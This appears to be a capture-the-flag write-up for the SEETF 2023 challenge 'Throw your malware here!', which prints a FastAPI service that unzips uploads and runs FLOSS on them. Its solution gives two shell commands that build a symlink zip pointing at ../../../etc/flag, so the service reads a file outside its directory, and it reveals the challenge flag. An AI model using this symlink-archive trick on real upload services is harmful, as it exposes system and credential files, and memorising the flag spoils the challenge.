ctf-writeup/2023/SEETF 2023/🎓Throw your malware here!/README.md

110 lines
4.1 KiB
Markdown

# 🎓Throw your malware here!
> FLOSS is the superior "strings", so I've decided to run it as a SAAS! Enough with the obfuscated code that the pigeon keeps throwing at me!
> In fact, I decided to handle all types of files, even non-PE files and password-protected zip files!
> Flag is located at `/etc/flag`
## About the Challenge
We were given a source code called `app.py` (You can download the file [here](dist_throw-your-malware-here_0140c3bcedfeee2909f426086fbab6fa4c777229.zip)) and here is the content of the file
```python
from typing import Optional
import zipfile
import random
import shutil
import string
import subprocess
from pathlib import Path
import pefile
from fastapi import FastAPI, HTTPException, UploadFile
from fastapi.responses import JSONResponse
FILE_CACHE = Path("/app/cache")
FLOSS_PATH = Path("/usr/local/bin/floss")
app = FastAPI()
def get_random_string(length: int = 16) -> str:
# choose from all lowercase letter
letters = string.ascii_lowercase
return "".join(random.choice(letters) for _ in range(length))
@app.on_event("startup")
def startup():
# Ensure caches exist
if not FILE_CACHE.is_dir():
FILE_CACHE.mkdir()
def run_floss(target: Path) -> str:
args = [str(target), "--json"]
try:
pefile.PE(name=str(target))
except pefile.PEFormatError:
args.extend(("--only", "static"))
output = subprocess.check_output((FLOSS_PATH, *args))
return output.decode()
@app.post("/floss")
def floss_endpoint(sample: UploadFile, password: Optional[str]) -> JSONResponse:
random_path = get_random_string()
while (target_path := FILE_CACHE / random_path).exists():
random_path = get_random_string()
with target_path.open("wb+") as f:
shutil.copyfileobj(sample.file, f)
is_zipfile = zipfile.is_zipfile(target_path)
if is_zipfile:
with zipfile.ZipFile(target_path) as f:
# No zip bombs!
file_size_sum = sum(data.file_size for data in f.filelist)
compressed_size_sum = sum(data.compress_size for data in f.filelist)
if (file_size_sum / compressed_size_sum > 10):
raise HTTPException(413, "Zip Bomb Detected")
zipobjects = f.infolist()
if any(zipobject.file_size > 50000 for zipobject in zipobjects):
raise HTTPException(418, "I'm a teapot!")
files = f.namelist()
args = ["unzip"]
if password:
args.extend(("-P", password))
args.extend((str(target_path), "-d", f"{FILE_CACHE / random_path}-zip"))
a = subprocess.run(args)
if a.returncode != 0:
raise HTTPException(422, "Invalid password!")
targets = [FILE_CACHE / f"{random_path}-zip" / file for file in files]
else:
targets = [target_path]
results = [run_floss(target) for target in targets]
return JSONResponse(
{target.name: result for target, result in zip(targets, results)}
if is_zipfile
else results[0]
)
```
The program accepts a file upload via the /floss endpoint and analyzes the uploaded file using FLOSS. It first saves the uploaded file to a cache directory. If the uploaded file is a ZIP archive, it checks for zip bomb and teapot conditions to prevent malicious or large files from being processed.
If the file is a ZIP archive, it extracts its contents to a separate directory in the cache. Otherwise, it directly analyzes the uploaded file. For each file (or extracted file in the case of a ZIP archive), it runs the run_floss() function, which invokes FLOSS to perform the analysis. The output is returned as a JSON response.
## How to Solve?
To solve this chall, im using this [website](https://infosecwriteups.com/zippy-challenge-writeup-cyberhack-ctf-80eb1d422249) as a reference. We can read the content of `/etc/flag` by using `zipslip` vulnerability. Here is the command I used
```
ln -s ../../../etc/flag awikwok.link
zip -P password --symlink awikwok.zip awikwok.link
```
And then upload to the website to obtain the flag
![flag](images/flag.png)
```
SEE{i_just_wanted_to_be_kind_and_run_a_floss_web_api_man}
```